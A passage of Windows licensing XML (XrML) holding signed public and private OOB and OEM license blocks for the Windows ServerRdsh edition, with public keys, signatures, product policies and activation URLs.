xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>KBKhquGX5YSbkEsmUOw3nKRG4yQ=</DigestValue></Reference></SignedInfo><SignatureValue>TxvRkJzQ90LpkQekEV1ohUetBum2EpsLkkGu7WP6nDGxn2uouiyPcxS3YCZbg6GEwvxf2/tbP2R/nM2C1erc9wLCBnTWpDfe9PbV+nz0Wx0W/2O09OEDcGMSzKydTtyrgjZ4ZgFx8Fmdx5i18T+VeG+WOTE36pb/bOjWGAGizWtIR1l+UGhIzEDShib11JCWYTeFBQoLydC5fb5diaQA694EEsUoyGj0quOS5NFFcnpzb1eA15MV/AXBQ9qRCgo+KfQNGrDXhsMDNNzvStQFlwTogUPgFZUTc4IbTVS3JfmQ4uW8I1AgT0u3lzzQO8ft7l+/4a5kGazcKDenVrTtsQ==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/STORE/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/STORE/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{40c99779-bce8-4565-8eb2-2361648522a1}</tm:infoStr><tm:infoStr name="productSkuId">{fa755fe6-6739-40b9-8d84-6d0ea3b6d1ab}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="clip:policy">1</tm:infoStr><tm:infoStr name="win:branding">175</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{a5acffd3-5b7d-4996-a188-cb44a792d053}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ServerRdsh"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-Core-THQAEnabled" attributes="override-only">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ServerRdsh</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-GraceTimerUniqueness" attributes="override-only">EditionId</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-ValidityTimerUniqueness" attributes="override-only">EditionId</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{0ad2ac98-7bb9-4201-8d92-312299201369}"></sl:productIdRange></r:allConditions></r:grant><r:grant><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId><sl:guid>{55c92734-d682-4d71-983e-d6ec3f16059f}</sl:guid></sl:appId><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>501</sl:priority><sl:policyInt name="Security-SPP-Reserved-NotificationGrantConsumed" attributes="override-only">1</sl:policyInt></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{0ad2ac98-7bb9-4201-8d92-312299201369}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAADAAAA</sl:data></sl:externalValidator><sl:floatingPeriod xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:duration>P0D</sl:duration><sl:type>msft:sl/grace-period</sl:type></sl:floatingPeriod></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>yoH1jUX3Qv0F9T7g3HEatnLykt4=</DigestValue></Reference></SignedInfo><SignatureValue>PiNjgkw4IyUoCQbjc8CSal8z4d2IpqtPDWvkG4LPY+tZpo9z2tpdcvaX+YukHaYxKmQSU3WZU57FoRP9sYlcV247H6UdmM57FkNksUrdNi41H4XRa0ZhL4VjQ8vUv7zymtRwUkhkKZYdOdk6UiC/0nCfIo/rrPW3/6TWDevuA5DI2QlbnYCpLg0Sbfy+QYjErkudWAjSqViaAogsTmGCltlvWbYLV4qqMQCyt8DvNfbESxCIaTMIrx6oCnfUY9v/JjhDXwclA9EG7tMa8zp3f6hCXiXNIWCVK7f9ZMQ/ya48si0IydqdSfhwFRR5/GikXceyDmEg8NvWP5tQjrNycA==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{0ad2ac98-7bb9-4201-8d92-312299201369}</tm:infoStr><tm:infoStr name="privateCertificateId">{34927ed9-473b-4e81-a7b0-24a628116ebc}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{06a4dd30-84b7-4fd2-b859-f1eddb0858f5}</tm:infoStr><tm:infoStr name="productName">Windows(R), ServerRdsh edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, OEM_SLP channel</tm:infoStr><tm:infoStr name="PAUrl">https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail</tm:infoStr><tm:infoStr name="ActivationSequence">msft:spp/licenseacquisition/payloadhandler/pa/1.0</tm:infoStr><tm:infoStr name="ValidationTemplateId">{99d92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="ValUrl">https://validation-v2.sls.microsoft.com/SLWGA/slwga.asmx</tm:infoStr><tm:infoStr name="UXDifferentiator">OEM_SLP</tm:infoStr><tm:infoStr name="Family">ServerRdsh</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="EnableNotificationMode">1</tm:infoStr><tm:infoStr name="GraceTimerUniqueness">EditionId</tm:infoStr><tm:infoStr name="ValidityTimerUniqueness">EditionId</tm:infoStr><tm:infoStr name="EnableActivationValidation">1</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{34927ed9-473b-4e81-a7b0-24a628116ebc}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>TPX0r1YNQR02LEtk7JyJjJiJsck=</DigestValue></Reference></SignedInfo><SignatureValue>DrxbGR0s5HdDLr4kCLw1lB8x64OvKsQadmj8/3GoCtPAYN7OqIY9Z0Y7EIJiwCnVj0S7LqhlQH6HOs5LOrDzQSeUYkYibx8chlm9/je5iGBaFc8+LTlZc+xcQ8WR6neWOOxcbqnqgjQleEXMxbsydkMkkw/1Z2gbptCDkDK14ZM9DDnpToyMJNjjwQOlWCXuDHKCxD7T43hoOlQwQN7eXcqEQTNKOwoRDIIFtFYK4oJkW9q7xSz5t6DPfps/IoCXyYIsvuQDY0DgYLyHfq7lXs5HPtTgVvZ7lcWwKUwLOsoNGp4qHLdgpZQKsSJl/6JK/9M6OJSVZ4K/sxLfq4IV3g==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{a5acffd3-5b7d-4996-a188-cb44a792d053}</tm:infoStr><tm:infoStr name="productSkuId">{0ad2ac98-7bb9-4201-8d92-312299201369}</tm:infoStr><tm:infoStr name="win:branding">175</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{a8c321a4-9351-46c4-aec4-53fd42584961}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oem License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ServerRdsh"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:forAll varName="oemKey"></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-Core-THQAEnabled" attributes="override-only">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ServerRdsh</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{0ad2ac98-7bb9-4201-8d92-312299201369}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAAFAAAA</sl:data></sl:externalValidator><r:prerequisiteRight><sl:binding varRef="oemKey"/><r:possessProperty/><sx:propertyUri definition="trustedOem"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>sotZn+w9juKPf7bMO9rNFriB+10v/t9bo/XWG+rzoDbw/uF4INZ5rGRIitiITY/bI4rANkv4Z5hG/8VxGMbqvqcaXJqnRFda7XAjgm1z9wkgX1R/d2tXLUUUQP0J1XuSbgzR89T/lpnc5q2Cdvy7Gv2pZvAzSeLOponXc8J3zOFr0IUXBGprXKnemVk1iJBFnyQGlWG3UoSpdlF0ichBQwPx/PgoTbcZsA7Gg62BGwPx/uDA3ZgwowrPlRwfLVAO6qE9xPJqRZdRFfPHbdQjp1YAq27wc6cTz5sPSTB1pJ4L9MD+NpvHj2OMZV5+LJ+bxZbTqhPcrzCp7ckkyD7Hzw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>MHCCDcyoyBAMRb+ybjLmZ/xWpxY=</DigestValue></Reference></SignedInfo><SignatureValue>MG5Rm5naQw/GhlFZb6CnuBt77jAdgag0r5a5cJQ0K/DYH5zG94KL+UQ5KQkPLhS9NJ15h7d2Km6Ns2ODtDnm6irGQ1QEO3/78yV6OIvsAV8U4oamWIoPTe2iHrPmLsQjSHrkE4Up7wcfOeBPIpPcaiHbHtrEdsRGksHkeK3kWI7khGK7mIKir1Ohcd8yum//1es3FAzURGJgqWN7vTt7Mw2pphvWDbrpPfRwCnB1pgaAisemZ2jwBK058Z2uhjrZEP/9vrbIbVqBuORDIoLuwRj432BXPsv4h/BZEtRSRo7yosfg/rEVZrhU79jd1XAHvg1/m2qDTwCfSvaHytxrKw==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/ACTIVATED/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/ACTIVATED/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{0ad2ac98-7bb9-4201-8d92-312299201369}</tm:infoStr><tm:infoStr name="privateCertificateId">{e3349ece-46a2-4463-bc27-680a7eeb7dae}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{06a4dd30-84b7-4fd2-b859-f1eddb0858f5}</tm:infoStr><tm:infoStr name="productName">Windows(R), ServerRdsh edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, OEM_SLP channel</tm:infoStr><tm:infoStr name="UXDifferentiator">OEM_SLP</tm:infoStr><tm:infoStr name="Family">ServerRdsh</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{e3349ece-46a2-4463-bc27-680a7eeb7dae}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oem License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue 